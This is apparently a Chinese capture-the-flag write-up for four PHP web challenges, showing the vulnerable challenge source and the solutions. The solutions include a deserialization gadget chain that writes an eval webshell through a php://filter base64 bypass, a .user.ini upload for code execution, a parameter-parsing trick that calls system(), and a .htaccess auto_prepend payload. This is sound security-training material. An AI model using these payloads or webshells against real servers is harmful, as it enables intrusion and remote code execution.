web01
<?php
error_reporting(0);
class A {
protected $store;
protected $key;
protected $expire;
public function __construct($store, $key = 'flysystem', $expire = null) {
$this->key = $key;
$this->store = $store;
$this->expire = $expire;
}
public function cleanContents(array $contents) {
$cachedProperties = array_flip([
'path', 'dirname', 'basename', 'extension', 'filename',
'size', 'mimetype', 'visibility', 'timestamp', 'type',
]);
foreach ($contents as $path => $object) {
if (is_array($object)) {
$contents[$path] = array_intersect_key($object, $cachedProperties);
}
}
return $contents;
}
public function getForStorage() {
$cleaned = $this->cleanContents($this->cache);
return json_encode([$cleaned, $this->complete]);
}
public function save() {
$contents = $this->getForStorage();
$this->store->set($this->key, $contents, $this->expire);
}
public function __destruct() {
if (!$this->autosave) {
$this->save();
}
}
}
class B {
protected function getExpireTime($expire): int {
return (int) $expire;
}
public function getCacheKey(string $name): string {
return $this->options['prefix'] . $name;
}
protected function serialize($data): string {
if (is_numeric($data)) {
return (string) $data;
}
$serialize = $this->options['serialize'];
return $serialize($data);
}
public function set($name, $value, $expire = null): bool{
$this->writeTimes++;
if (is_null($expire)) {
$expire = $this->options['expire'];
}
$expire = $this->getExpireTime($expire);
$filename = $this->getCacheKey($name);
$dir = dirname($filename);
if (!is_dir($dir)) {
try {
mkdir($dir, 0755, true);
} catch (\Exception $e) {
// 创建失败
}
}
$data = $this->serialize($value);
if ($this->options['data_compress'] && function_exists('gzcompress')) {
//数据压缩
$data = gzcompress($data, 3);
}
$data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
$result = file_put_contents($filename, $data);
if ($result) {
return true;
}
return false;
}
}
$dir = "uploads/";
if (!is_dir($dir))
{
mkdir($dir);
}
unserialize($_GET["data"]);
?>
A类:
<?php
error_reporting(0);
class A {
protected $store;
protected $key;
protected $expire;
public function __construct($store, $key = 'flysystem', $expire = null) {
$this->key = $key;
$this->store = $store;
$this->expire = $expire;
}
public function cleanContents(array $contents) {
$cachedProperties = array_flip([
'path', 'dirname', 'basename', 'extension', 'filename',
'size', 'mimetype', 'visibility', 'timestamp', 'type',
]);
foreach ($contents as $path => $object) {
if (is_array($object)) {
$contents[$path] = array_intersect_key($object, $cachedProperties);
}
}
return $contents;
}
public function getForStorage() {
$cleaned = $this->cleanContents($this->cache);
return json_encode([$cleaned, $this->complete]);
}
public function save() {
$contents = $this->getForStorage();
$this->store->set($this->key, $contents, $this->expire);
}
public function __destruct() {
if (!$this->autosave) {
$this->save();
}
}
}
cleancontent
:
public function cleanContents(array $contents) {
$cachedProperties = array_flip([
'path', 'dirname', 'basename', 'extension', 'filename',
'size', 'mimetype', 'visibility', 'timestamp', 'type',
]);
foreach ($contents as $path => $object) {
if (is_array($object)) {
$contents[$path] = array_intersect_key($object, $cachedProperties);
}
}
return $contents;
}
array_filp()
反转数组中所有的键以及它们关联的值array_intersect_key()
比较两个数组的键名,并返回交集
getForStorage
:
public function getForStorage() {
$cleaned = $this->cleanContents($this->cache);
return json_encode([$cleaned, $this->complete]);
}
- 调用
cleanContents
函数,传入cache
变量 - 返回json数据格式
complete
变量也可控
save
:
public function save() {
$contents = $this->getForStorage();
$this->store->set($this->key, $contents, $this->expire);
}
- 调用
getForStorage
- 调用
set
(B类)
__destruct
:
public function __destruct() {
if (!$this->autosave) {
$this->save();
}
}
- 调用autosave变量(可控)
- 调用
save
函数
类B:
class B {
protected function getExpireTime($expire): int {
return (int) $expire;
}
public function getCacheKey(string $name): string {
return $this->options['prefix'] . $name;
}
protected function serialize($data): string {
if (is_numeric($data)) {
return (string) $data;
}
$serialize = $this->options['serialize'];
return $serialize($data);
}
public function set($name, $value, $expire = null): bool{
$this->writeTimes++;
if (is_null($expire)) {
$expire = $this->options['expire'];
}
$expire = $this->getExpireTime($expire);
$filename = $this->getCacheKey($name);
$dir = dirname($filename);
if (!is_dir($dir)) {
try {
mkdir($dir, 0755, true);
} catch (\Exception $e) {
// 创建失败
}
}
$data = $this->serialize($value);
if ($this->options['data_compress'] && function_exists('gzcompress')) {
//数据压缩
$data = gzcompress($data, 3);
}
$data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
$result = file_put_contents($filename, $data);
if ($result) {
return true;
}
return false;
}
}
getExpireTime
:
protected function getExpireTime($expire): int {
return (int) $expire;
}
- 接受a类变量,返回整数化后的变量
getCacheKey
:
public function getCacheKey(string $name): string {
return $this->options['prefix'] . $name;
}
- 拼接字符串
options['prefix']
可控
serialize
:
protected function serialize($data): string {
if (is_numeric($data)) {
return (string) $data;
}
$serialize = $this->options['serialize'];
return $serialize($data);
}
- 如果传入的data参数将会格式化为string类型
- 可以看到
$serialize变量
可控
set
public function set($name, $value, $expire = null): bool{
$this->writeTimes++;
if (is_null($expire)) {
$expire = $this->options['expire'];
}
$expire = $this->getExpireTime($expire);
$filename = $this->getCacheKey($name);
$dir = dirname($filename);
if (!is_dir($dir)) {
try {
mkdir($dir, 0755, true);
} catch (\Exception $e) {
// 创建失败
}
}
$data = $this->serialize($value);
if ($this->options['data_compress'] && function_exists('gzcompress')) {
//数据压缩
$data = gzcompress($data, 3);
}
$data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
$result = file_put_contents($filename, $data);
if ($result) {
return true;
}
return false;
}
}
is_null()
判断参数是否为NULLexpire变量调用了getExpireTime这个函数,格式化为int类型
filename变量调用了getCacheKey这个函数,所以filename这个变量最终的值是和options[‘prefix’]拼接而成,然后根据filename创建目录(这个暂时不用关心)$data
调用serialize
函数不需要压缩
if ($this->options['data_compress'] && function_exists('gzcompress')) { //数据压缩 $data = gzcompress($data, 3); }
$data和
<?php exit();?>
结合
,需要base64绕过
回归原题
$result = file_put_contents($filename, $data);
filename参数是options[‘prefix’]和$name进行拼接的结果,而这里的**$name是形参,所以这个$name**是A类的key变量,是由set
函数传递过来的
由于options[‘prefix’]可控
所以构建:
options['prefix']="php://filter/write=convert.base64-decode/resource=";
key="webshell.php"; //$name
上面是文件名,之后构建shell
的内容,也就是data
变量
$data = $this->serialize($value);
,$data
是由$value序列化来的,$value
是A类中的$contents
,所以我们可以构造cache
这个变量为数组,然后经过两个函数的处理,我们可以控制complete这个变量为shell的数据,经过json_encode这个函数的处理之后,由于json格式的字符都不满足base64编码的要求,所以我们可以将数据进行base64编码绕过,也就是
A->complete=base64_encode('xxx'.base64_encode('<?php @eval($_POST["echo"]);?>'))
首先将shellcode进行base64编码使得base64decode的时候不会影响其内容,然后再次进行base64_encode是为了绕过死亡exit,由于解码之后只剩21个字符,所以这里需要自己添加三个字符,使得前面有24个字符可以base64正常解码不影响后面shellcode的执行
那么到这里data的内容也构造好了,可是我们发现
php伪协议只解了一次编码,而我们这里经历了两次base64编码
serialize函数
protected function serialize($data): string {
if (is_numeric($data)) {
return (string) $data;
}
$serialize = $this->options['serialize'];
return $serialize($data);
}
返回值是
$serialize($data)
,那么令$serialize=base64_decode
因为:
public function getForStorage() {
$cleaned = $this->cleanContents($this->cache);
return json_encode([$cleaned, $this->complete]);
}
内容在$complete
里,$this->cache=NULL
;
- 传入一个cache为数组内容为空
A->cache=NULL
- 看A类
save函数调用了getforstorage
函数,$this->store
这个地方得是对象B才能调用set
函数
$this->store = new B();
- 最后:
A::__destruct->save()->getForStorage()->cleanStorage()
B::save()->set()->getExpireTime()和getCacheKey()+serialize()->file_put_contents写入shell->getshell
答题思路:
构造文件名:
$filename->options['prefix'].$name
$name->A::$key
构造payload:
$data->$value->A::$contents->$complete和$cleaned
Payload:
<?php
class A{
protected $store;
protected $key;
protected $expire;
public function __construct()
{
$this->cache = array();
$this->complete = base64_encode("xxx".base64_encode('<?php @eval($_POST["111"]);?>'));
$this->key = "shell.php";
$this->store = new B();
$this->autosave = false;
$this->expire = 0;
}
}
class B{
public $options = array();
function __construct()
{
$this->options['serialize'] = 'base64_decode';
$this->options['prefix'] = 'php://filter/write=convert.base64-decode/resource=';
$this->options['data_compress'] = false;
}
}
echo urlencode(serialize(new A()));
- 用蚁剑连接/shell.php密码111
web05
- 日志文件查看一下
flag
字样,同时还找到了new_world.php,world.php,point.php - 最后发现
new_world.php
存在文件上传漏洞 - 先上传
.user.ini
auto_prepend_file=77.txt
- 上传77.txt
name=77.txt&content=<?= assert(shell_exec('ls ./'));?>
- 访问
/upload/index.php
- 执行rce
Web03
- POST传参
721_a.com==721_a_com
721[a.com==721_a.com
PHP特性,寻找有
__tostring
函数的类ReflectionClass
类以及Exception
类
- 就相当于接受一个参数,再输出,如果是php代码会执行,会将执行结果转换成字符串输出
721[a.com=Exception&721[b.com=system('tac ./f*.php') //直接也就拿到了flag
- 如果看
fx.php
,反序列化构造
<?php
class Action
{
public $ip = 'addd';
public $name = 'php';
public function __construct()
{
$this->name = new fafa();
}
}
class fafa
{
public $fa = "system('ls /');"; //要执行的命令
}
echo urlencode(serialize(new Action())); //要进行url编码
?>
web02
<?php
$files = scandir('./');
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
}
if(!isset($_GET['content']) || !isset($_GET['filename'])) {
highlight_file(__FILE__);
die();
}
$content = $_GET['content'];
if(stristr($content,'on') || stristr($content,'html') || stristr($content,'type') || stristr($content,'flag') || stristr($content,'upload') || stristr($content,'file')) {
echo "Hacker";
die();
}
$filename = $_GET['filename'];
if(preg_match("/[^a-z\.]/", $filename) == 1) {
echo "Hacker";
die();
}
$files = scandir('./');
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
}
file_put_contents($filename, $content . "\nHello, world");
?>
.htaccess
这个文件肯定不会删除,不然文件系统无法运转,那么我们可以给.htaccess
写一句话,之后需要用\
来处理\n
,不然违背.htaccess
的文件格式
?filename=.htaccess&content=php_value auto_prepend_fil\
e .htaccess //不能出现file
#<?php system('cat /fl[a]g');?>\
经过url编码之后
?filename=.htaccess&content=php_value%20auto_prepend_fil\%0ae%20.htaccess%0a%23<? php%20system('cat%20/fl[a]g');?>\